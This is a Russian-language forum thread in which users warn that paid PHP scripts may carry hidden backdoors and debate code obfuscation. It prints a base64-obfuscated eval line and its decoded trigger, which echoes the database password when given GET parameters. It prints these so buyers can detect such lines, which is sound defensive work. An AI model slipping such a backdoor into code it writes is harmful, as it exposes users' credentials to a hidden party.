Второй раз на глаза попался недобросовестный разработчик, проблема заключалась в следующем - понадобился скрипт на PHP, сам написать не решился, поэтому купил его. Ничего необычного в нём не заметил, пока сам разработчик не написал мне письмо примерно с таким содержанием:"Я знаю твой пароль от базы данных, продай свою почку, чтобы я залатал эту дырку", на что ему ничего не ответил, а решил сам найти дыру, знания в PHP имеются, представляю как должен выгладить код, к тому же с подобной проблемой уже встречался... В PHP скрипт встраивается примерно такая строчка - Код: eval(base64_decode('aWYoJF9HRVRbImhhY2siXT09ImF0dGVtcHQiICYmICRfR0VUWyJ1c2VyIl09PSJlbGRldiIpIGVjaG8gJHBhc3NiYXphOw==')); Говорящая серверу о том, чтобы он декодировал base64 код, ну и чаще всего закодировано там примерно такое - Код: if($_GET["game"]=="lal" && $_GET["user"]=="usr") echo $passbaza; Это означает, что при вызове в адресной строке page.php?game=lal&user=usr выведется значение переменно passbazza, если этот php скрипт связывается с базой данных, то он должен знать ее пароль, что и вводят обычно в config, но обычно php скрипт не выдаёт данные о пароле, если разработчик добросовестный... Что можно посоветовать? Проверяйте купленные или скаченные скрипты, делается это очень просто. Очень редко когда разработчик будет использовать декодирование, это делается в основном, чтобы скрыть информацию, которую не следует знать Вам. Но все же проверяйте этот код, декодировав его. Существует множество онлайн сервисов для декодирование base64 кодов. Если заметили команду echo или print, а потом что-то связанное с вашей базой данных незамедлительно удаляйте эти строки. Спасибо.
На Darktower обсуждалась подобная тема, в мини-чате на этом форуме, кажется, о ней и говорят, на Darktower'е был выложен личный кабинет с такой дырой, недавно сам встретился с подобным, этот некий разработчик предпочел остаться анонимным
Вообще да, форум башни жив, не жива только главная страница, т.е. http://сайтбани/forum - тут ваша башня Сия тема обсуждалась, когда башня была еще активна полностью, пол года назад-год
ну знает он пароль от бд, и вот что дальше? Это может быть опасно только если стоят вэб-приложения для работой с бд типа пма. В остальных случаях по умолчанию bind-address = 127.0.0.1 и хост юзера localhost. Вот например мой сайт - http://www.elbambino.ru/ у меня skip-grant-tables это означает что логин и пароль для подключения к БД не требуется, точнее авторизация вообще не требуется. Твои действия?)
Хах, ты чего это?) Я вам не пути взлома подсказываю, я же наоборот, пытаюсь обезопасить проекты) Молодые проекты часто покупают скрипты с рук, им не важно на сколько они хороши, быстры, удобны, главное, чтобы функцию выполняли, и в код часто даже не заглядывают, а там чёрти что могут запрашивать и пароль базы и твой адрес, для чего нибудь, якобы конфиденциального. А потом то уже разработчики этого скрипта пользуются этими данными как хотят.
К сожалению, большинство разработчиков PHP скриптов стоят перед дилеммой: верить человеку наслово или перестраховаться? Ведь сейчас не редко, кто без особых проблем может поделится приобретённым добром, вопреки желанию автора. Как известно, идеальной защиты скриптов - нет. С одной стороны, разработчик защищает свои интересы (если это никоим образом не вредит клиенту), а с другой стороны - подобные вещи обычно делаются так, что случайный гость, не имея исходников на руках, никогда не найдёт искусственную дыру. А значит, в интересах клиента, не передавать приобретённый товар. Иная ситуация, когда псевдоразработчик, берёт уже готовые скрипты, вносит в них свои изменения и выдаёт за своё. Затем, использует это для шалости или иных злонамеренных целей. Скорее всего в данной теме идёт речь именно о таком случае. Уважающий себя разработчик, не будет использовать свои продукты для шантажа или нанесения какого либо вреда легальному клиенту. Ну а в случае, если кто-то другой начнет использовать без ведома автора, то уж извеняйте - у кого покупали/брали, к тому и вопросы. Раз "разработчик" пожелал остатся анонимным, думаю реквизиты то известны...
Я это к тому, что никому не хочу зла и сообщать его имя не буду, даже если бы и знал его, ведь меня просто попросили помочь разобраться с этим недугом. off G-gaming, ах, а помнится matrix pvp, не уж то Архангел меня, маленького дурочка, не помнит, этот нелепый зеленый сайт на ucoz'e, глупенького ГМ'a, этот нелепый дизайн для личного кабинета, изображение корзинки с интернета, ту программу "которая по корзине может лазать" Максим и Дима, напишите, пожалуйста в скайп beilec, если помните. MatrixPvP GM Руслан
но частенько разработчики, тех же платных компонентов или модулей к CMS вставляют в свой продукт так называемый бекдор, после чего конечно кодируют свой продукт в ионкубе, чтоб скрыть факт наличия дырки(а не только для защиты скрипта), пусть и для благих целей (как считает разработчик, удалить свой продукт или сайт того, кто нелегально поставил этот скрипт) но клиенты конечно от такого факта были бы не в восторге, кто захочет иметь скрытую дырку в своем проекте?. Многие крупные разработчики вовсе не используют кодирование(шифрование) своих продуктов (тот же IPB, VB, XenForo), чем самым демонстрируя, мол нам от клиентов скрывать нечего, мол увидите ошибку в коде, будем рады узнать о ней.
Никто не мешает делать все руками или написать свой плагин ЛК для открытых продуктов IPB, VB, XenForo столь заботящемуся о своей безопасности покупателю. Разработчики вкладывают деньги (время) в свой продукт и должны защищать свою работу. Ибо гораздо проще кинуть разработчика, чем разработчику клиента, поскольку репутация играет не последнюю роль в продаже продукта, в то время, как клиенту кидалово стоит лишь смены ника. Я не склоняю к использованию бэкдоров и прочей мерзоты, но не надо пожалуйста ныть на тему шифрования и защиты кода.
Я не ною по поводу защиты, тем более сам разработчик, пусть и мелкого кода и считаю, это право каждого решать, как защищать свой продукт, но когда некие личности в свой продукт вставляют бекдор, это не есть хорошо. Приведу пример, многим известная система управления контентом инстант, неплохая система, правда все платные компоненты от Fuze имеют в себе бекдор, уже несколько сайтов было удалено, которые нелегально использовали его компоненты... Но легальным клиентам от этого легче не становится, если они будут знать, что в данном продукте есть дырка, пусть пока о ней знает разработчик... Но пока сам разработчик этого не признает и думаю не признает.
Ну как разработчик, какие ты видишь альтернативы защите кода?) Каким бы честным не был разработчик, всегда найдется недовольное чем-то лицо, поэтому единственное верное решение забивать болт на такие лица, в итоге они или переосмыслят свое отношение или будут пользоваться онли опенсорсными решениями, собственно, с чем их и поздравляю.